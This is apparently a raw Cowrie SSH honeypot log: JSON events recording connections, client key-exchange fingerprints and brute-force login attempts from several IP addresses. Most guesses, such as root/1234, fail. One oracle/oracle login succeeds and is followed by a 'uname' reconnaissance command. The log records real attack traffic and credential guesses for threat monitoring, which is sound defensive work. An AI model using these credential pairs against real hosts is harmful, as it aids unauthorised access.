{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:20.153596Z","src_ip":"193.151.144.93","session":"8cc0e84bcd25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53610,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4320830ca65","protocol":"ssh","message":"New connection: 193.151.144.93:53610 (10.17.0.5:22) [session: c4320830ca65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:23.503319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:23.511755Z","src_ip":"193.151.144.93","session":"c4320830ca65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:23.677295Z","src_ip":"193.151.144.93","session":"c4320830ca65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:24.176672Z","src_ip":"193.151.144.93","session":"c4320830ca65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:25.345531Z","src_ip":"193.151.144.93","session":"c4320830ca65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"433388a4494a","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 433388a4494a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:25.386930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:25.391979Z","src_ip":"23.97.62.150","session":"433388a4494a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:25.641886Z","src_ip":"23.97.62.150","session":"433388a4494a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu123","message":"login attempt [root/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:26.390780Z","src_ip":"23.97.62.150","session":"433388a4494a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:27.642807Z","src_ip":"23.97.62.150","session":"433388a4494a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53614,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd51df791cb","protocol":"ssh","message":"New connection: 193.151.144.93:53614 (10.17.0.5:22) [session: ebd51df791cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:29.087502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:29.095083Z","src_ip":"193.151.144.93","session":"ebd51df791cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:29.261305Z","src_ip":"193.151.144.93","session":"ebd51df791cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:29.759472Z","src_ip":"193.151.144.93","session":"ebd51df791cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:31.354761Z","src_ip":"193.151.144.93","session":"ebd51df791cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51268,"dst_ip":"10.17.0.5","dst_port":22,"session":"8637656af669","protocol":"ssh","message":"New connection: 193.151.144.93:51268 (10.17.0.5:22) [session: 8637656af669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:34.486901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:34.491999Z","src_ip":"193.151.144.93","session":"8637656af669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:34.668941Z","src_ip":"193.151.144.93","session":"8637656af669","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:35.199903Z","src_ip":"193.151.144.93","session":"8637656af669","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:35.602955Z","src_ip":"193.151.144.93","session":"8637656af669","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:35.606596Z","src_ip":"193.151.144.93","session":"8637656af669","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:35.786163Z","src_ip":"193.151.144.93","session":"8637656af669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:35.792401Z","src_ip":"193.151.144.93","session":"8637656af669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51276,"dst_ip":"10.17.0.5","dst_port":22,"session":"40aae5880b09","protocol":"ssh","message":"New connection: 193.151.144.93:51276 (10.17.0.5:22) [session: 40aae5880b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:40.027143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:40.032844Z","src_ip":"193.151.144.93","session":"40aae5880b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:40.205027Z","src_ip":"193.151.144.93","session":"40aae5880b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:40.747672Z","src_ip":"193.151.144.93","session":"40aae5880b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:42.365841Z","src_ip":"193.151.144.93","session":"40aae5880b09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37302,"dst_ip":"159.203.135.109","dst_port":22,"session":"77228d187d67","protocol":"ssh","message":"New connection: 103.82.132.16:37302 (159.203.135.109:22) [session: 77228d187d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:43.646999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:43.654646Z","src_ip":"103.82.132.16","session":"77228d187d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:43.908072Z","src_ip":"103.82.132.16","session":"77228d187d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":50792,"dst_ip":"159.203.135.109","dst_port":22,"session":"5925da4711ef","protocol":"ssh","message":"New connection: 43.242.203.160:50792 (159.203.135.109:22) [session: 5925da4711ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:44.210672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:44.215890Z","src_ip":"43.242.203.160","session":"5925da4711ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:44.444546Z","src_ip":"43.242.203.160","session":"5925da4711ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nhfnfnf","message":"login attempt [root/nhfnfnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:44.667805Z","src_ip":"103.82.132.16","session":"77228d187d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":58114,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e71330d8db","protocol":"ssh","message":"New connection: 103.172.78.219:58114 (10.17.0.5:22) [session: 72e71330d8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:44.768522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:44.774601Z","src_ip":"103.172.78.219","session":"72e71330d8db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:45.043372Z","src_ip":"103.172.78.219","session":"72e71330d8db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simple","message":"login attempt [root/simple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:45.380616Z","src_ip":"43.242.203.160","session":"5925da4711ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:45.923242Z","src_ip":"103.82.132.16","session":"77228d187d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48102,"dst_ip":"10.17.0.5","dst_port":22,"session":"e68ef56fdebd","protocol":"ssh","message":"New connection: 193.151.144.93:48102 (10.17.0.5:22) [session: e68ef56fdebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:46.029693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:46.034026Z","src_ip":"193.151.144.93","session":"e68ef56fdebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem1994","message":"login attempt [root/artem1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:46.137855Z","src_ip":"103.172.78.219","session":"72e71330d8db","protocol":"ssh"}
